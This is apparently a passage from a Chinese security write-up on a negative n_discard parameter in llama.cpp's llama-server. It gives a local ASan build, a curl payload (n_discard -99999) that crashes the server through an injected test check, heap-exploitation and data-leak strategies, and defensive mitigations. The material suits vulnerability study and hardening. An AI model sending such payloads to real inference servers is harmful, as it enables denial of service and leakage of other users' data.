这段代码会检测到负数 n_discard 时分配一个包含 10 个整数的数组,然后使用负数索引进行访问。由于 params.n_discard 是负数(例如 -99999),crash_ptr[-99999] 会访问到数组边界之前的内存地址,触发段错误。

使用 CMake 编译

llama.cpp 项目已迁移到 CMake 构建系统。使用以下命令编译,开启 ASan 和调试符号:

mkdir build
cd build

cmake .. -DGGML_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug

cmake --build . --config Debug -j4 --target llama-server

准备测试模型

运行推理服务需要加载一个模型文件。这里使用 TinyLlama 的 GGUF 格式量化版本,文件体积小,适合快速测试。

cd ..
mkdir models
cd models

wget https://huggingface.co/TheBloke/TinyLlama-1.1B-Chat-v1.0-GGUF/resolve/main/tinyllama-1.1b-chat-v1.0.Q4_K_M.gguf -O tinyllama.gguf

# 国内镜像备用
# curl -L -k -o tinyllama.gguf https://hf-mirror.com/TheBloke/TinyLlama-1.1B-Chat-v1.0-GGUF/resolve/main/tinyllama-1.1b-chat-v1.0.Q4_K_M.gguf

cd ..

启动靶机服务

启动编译好的 llama-server,监听本地 8080 端口:

./build/bin/llama-server -m models/tinyllama.gguf --port 8080 --host 127.0.0.1 --ctx-size 2048

服务器启动后会加载模型并等待请求。保持该终端窗口开启,崩溃时的 ASan 报告将在此显示。

发送攻击载荷

打开新终端窗口,发送包含恶意 n_discard 参数的 POST 请求:

curl --request POST \
  --url http://127.0.0.1:8080/completion \
  --header 'Content-Type: application/json' \
  --data '{
    "prompt": "Hello, this is a crash test.",
    "n_predict": 10,
    "n_discard": -99999,
    "temperature": 0.1
  }'

请求中的 n_discard: -99999 是攻击载荷的核心。服务器解析该负数值后,我们植入的检测代码会被触发,执行数组越界访问操作。

服务器终端输出崩溃信息:

ASan 检测到负数索引的堆缓冲区下溢,报告了非法访问的内存地址和访问类型。这验证了漏洞的可触发性。

ASan 报告解读

ASan 输出的关键信息包括:

==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
READ of size 4 at 0x... thread T0
    #0 0x... in ...
    #1 0x... in ...

这表明程序发生了堆缓冲区溢出,访问了非法地址。ASan 还会提供内存分配的调用栈,帮助定位问题代码。在实际漏洞利用场景中,攻击者需要分析这些信息来构造精确的利用链。

漏洞利用的现实约束

虽然上述演示展示了内存破坏的可触发性,但实现稳定的远程代码执行仍面临多个挑战。

地址空间布局随机化(ASLR)

现代 Linux 系统默认启用 ASLR,每次运行时程序基址、堆地址、库加载位置都会随机变化。攻击者需要首先泄露某个地址,然后计算其他目标的实际地址。

利用部分越界读暴露堆上的指针是常见的信息泄露方法。如果溢出长度可以精确控制,攻击者可以读取相邻堆块中存储的指针值。这些指针可能指向堆、栈或库代码区域,通过分析它们的值可以推断出 ASLR 的偏移量。

另一种方法是通过格式化字符串漏洞读取栈上数据。虽然 llama.cpp 本身可能不存在格式化字符串漏洞,但攻击者可以结合其他漏洞利用该技术。格式化字符串 %p 或 %x 可以打印栈上的值,而 %s 可以读取任意内存地址。

利用信息泄露的返回值或错误消息也是一种可行的方法。如果程序在错误消息中泄露了指针或地址信息,攻击者可以从 HTTP 响应中提取这些数据。某些实现中,异常处理或日志输出可能会包含内存地址。

堆布局的不可预测性

多线程环境下的堆分配受到线程竞争、内存分配器内部策略等多种因素影响。攻击者精心构造的堆布局可能在不同的运行环境或时序下完全失效。

多次尝试和重试机制可以提高攻击成功率。由于堆布局虽然随机但不是完全不可预测,攻击者可以发送大量请求,直到其中一次产生理想的布局。这种暴力方法在互联网攻击中可能不切实际,但在本地提权场景下可能是可行的。

利用大块分配来简化布局是另一种策略。大块分配通常由 mmap 直接提供,而不是从堆的空闲块中分配。mmap 的区域通常是页对齐的,布局相对可预测。攻击者可以分配接近页面大小的大块,使受害者对象紧跟其后。

触发 GC 或内存整理操作来稳定堆状态也是一种方法。某些内存分配器支持手动触发内存整理,攻击者可以通过分配和释放大量相同大小的对象来整理堆,使其进入一个相对有序的状态。

编译器和防护机制

编译器的优化选项和现代二进制防护机制会增加利用难度。-fstack-protector 会在栈上插入 canary 值,这些 canary 在函数返回时被检查,如果被修改则程序会终止。虽然 canary 主要保护栈溢出,但某些编译器扩展也可能保护堆上的关键对象。

-D_FORTIFY_SOURCE=2 会替换不安全的内存操作函数。例如,memcpy 可能被 __memcpy_chk 替换,后者会检查目标缓冲区的大小。如果检测到可能的溢出,程序会调用 __chk_fail 终止执行。这会阻止许多基于长度错误的攻击。

CFI(Control Flow Integrity)会限制间接调用的目标范围。C++ 的虚函数调用和函数指针调用都属于间接调用,CFI 机制会验证目标地址是否合法。如果 vptr 被破坏,CFI 检测会阻止跳转到非法地址。

Intel 的控制流强制技术(CET)提供了影子栈(Shadow Stack)和间接分支跟踪(IBT)两种保护机制。影子栈专门保护返回地址,而 IBT 限制间接跳转和调用的目标地址。这些硬件级别的保护使得传统的 ROP 攻击更加困难。

其他攻击向量

除了直接利用堆溢出实现 RCE,攻击者还可能采用其他方法来达成攻击目标。

拒绝服务(DoS)

最简单的攻击是导致服务器崩溃,实现拒绝服务。攻击者可以通过发送多个包含负数 n_discard 的请求,使服务器频繁崩溃,无法处理正常请求。这种攻击虽然简单,但在某些场景下已经足够造成严重后果,特别是如果推理服务用于关键业务。

数据泄露

通过精心构造的负数索引,攻击者可能实现越界读,从而泄露服务器内存中的敏感数据。这些数据可能包括其他用户的对话内容、API 密钥或凭证、模型参数或训练数据、以及服务器内部配置信息。

int leak_index = -secret_offset;
int leaked_value = kv_cache[leak_index];
send_to_client(leaked_value);

如果攻击者能够控制 n_discard 使得 src_ptr 指向包含敏感数据的内存区域,随后的 memcpy 会将这些数据复制到 KV Cache,然后攻击者可以通过正常推理请求读取这些数据。

计算资源劫持

攻击者可能通过控制 n_discard 来操纵服务器的计算资源分配。例如,通过设置一个极大的负数值,导致服务器尝试复制或处理海量数据,消耗 CPU 和内存资源,从而影响其他用户的访问。

更隐蔽的方法是通过微调 n_discard 来影响 KV Cache 的使用模式,使得服务器为攻击者的请求分配更多资源,而其他用户的请求被延迟或拒绝。这种资源劫持可能难以检测,但能有效地攻击服务质量。

AI 推理服务的通用安全问题

深入分析 AI 框架的常见安全问题,可以发现几个共性因素。首先是快速迭代开发,许多 AI 框架在短时间内经历了大量功能添加和重构,安全审查往往跟不上开发速度。其次是复杂的配置系统,AI 推理服务通常有大量可配置参数,全面校验所有参数的组合是一个挑战。性能优化也是因素之一,为了最大化推理吞吐量,开发者可能跳过某些检查,直接信任用户输入。

输入验证的系统性缺失

AI 推理服务通常接受高度结构化的输入,包括文本、图像、音频等多种模态。这些输入需要经过复杂的预处理流程,包括分词、归一化、特征提取等。每个环节都可能引入安全漏洞。

以分词为例,某些分词器在处理特殊字符或超长输入时可能出现整数溢出或缓冲区溢出。如果分词结果的大小计算错误,后续的内存分配可能分配过小的缓冲区,导致溢出。

int num_tokens = tokenize(input_text, tokens, max_tokens);
int buffer_size = num_tokens * sizeof(float);
float* buffer = malloc(buffer_size);

如果 tokenize 函数返回错误的 num_tokens,或者 max_tokens 未经验证,可能导致 buffer_size 计算错误。

模型文件的安全性

AI 推理服务需要加载模型文件,这些文件通常是二进制格式(如 GGUF、ONNX、TensorFlow SavedModel)。如果模型文件的解析缺乏足够的验证,攻击者可能构造恶意的模型文件来触发漏洞。

Model* load_model(const char* path) {
    FILE* f = fopen(path, "rb");
    fread(header, sizeof(ModelHeader), 1, f);

    void* weights = malloc(header->weights_size);
    fread(weights, header->weights_size, 1, f);
}

如果攻击者构造一个模型文件,其中 header->weights_size 是一个巨大的值,malloc 可能失败或分配过小的内存(如果发生整数溢出),随后的 fread 会造成堆溢出。

资源管理漏洞

AI 推理是资源密集型任务,需要大量的 CPU、内存和 GPU 资源。如果资源管理不当,攻击者可能通过恶意请求耗尽系统资源。

if (num_concurrent_requests > MAX_REQUESTS) {
    return ERROR_TOO_BUSY;
}

虽然这种检查可以限制并发请求数,但如果每个请求的资源消耗差异很大(例如,不同长度的 prompt),攻击者可能通过发送资源密集型请求来绕过限制。

模型对抗攻击

除了内存安全漏洞,AI 模型本身还面临对抗攻击。攻击者可以通过精心构造的输入来操纵模型的输出,例如生成误导性的回答或绕过安全检查。

虽然对抗攻击不同于传统的内存破坏漏洞,但在实际场景中,攻击者可能结合这两种技术。例如,通过内存破坏漏洞绕过输入验证,然后注入对抗性样本。

防护机制与检测技术

针对这类漏洞,有多种防护和检测技术可以部署。从编译时选项到运行时监控,多层防御可以有效降低漏洞被利用的风险。

编译时防护

现代编译器提供了多种安全选项,可以在编译时插入检查机制。

Stack Canaries:在栈上插入随机值,函数返回时检查是否被修改。虽然主要保护栈溢出,但某些实现也保护堆对象。

int vulnerable_function(char* input) {
    char buffer[100];
    int canary = __stack_chk_guard;
    strcpy(buffer, input);
    if (__stack_chk_guard != canary) {
        __stack_chk_fail();
    }
}

ASan(AddressSanitizer):在内存访问前检查是否合法,可以检测多数越界访问。虽然主要用于调试,但在生产环境中也有部署(性能开销较大)。

FORTIFY_SOURCE:替换不安全的内存函数,插入运行时检查。

__memcpy_chk(dst, src, len, __builtin_object_size(dst, 0));

运行时防护

SECCOMP:限制系统调用的使用范围。即使攻击者实现了代码执行,SECCOMP 可以限制其能力,例如禁止执行 execve 系统调用。

struct sock_fprog filter = { ... };
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);

Namespaces 和 Cgroups:使用容器技术隔离推理服务。即使服务被攻破,攻击者也被限制在容器内,无法影响宿主机。

Capability 机制:去除进程不必要的权限。例如,推理服务通常不需要 CAP_SYS_ADMIN 或 CAP_NET_RAW 等特权。

检测与响应

异常检测:监控服务的行为,检测异常的内存分配模式或崩溃频率。例如,如果服务频繁崩溃,可能正在遭受攻击。

日志分析:记录详细的请求日志,包括所有输入参数和返回值。当检测到异常请求(如 n_discard < 0)时,记录告警并可能阻止来自该源的请求。

RASP(Runtime Application Self-Protection):在应用程序内部插入监控点,实时检测和阻止攻击。例如,在参数解析后插入检查:

if (params.n_discard < 0 || params.n_discard > params.n_past) {
    log_security_event("Invalid n_discard value");
    return ERROR_INVALID_PARAM;
}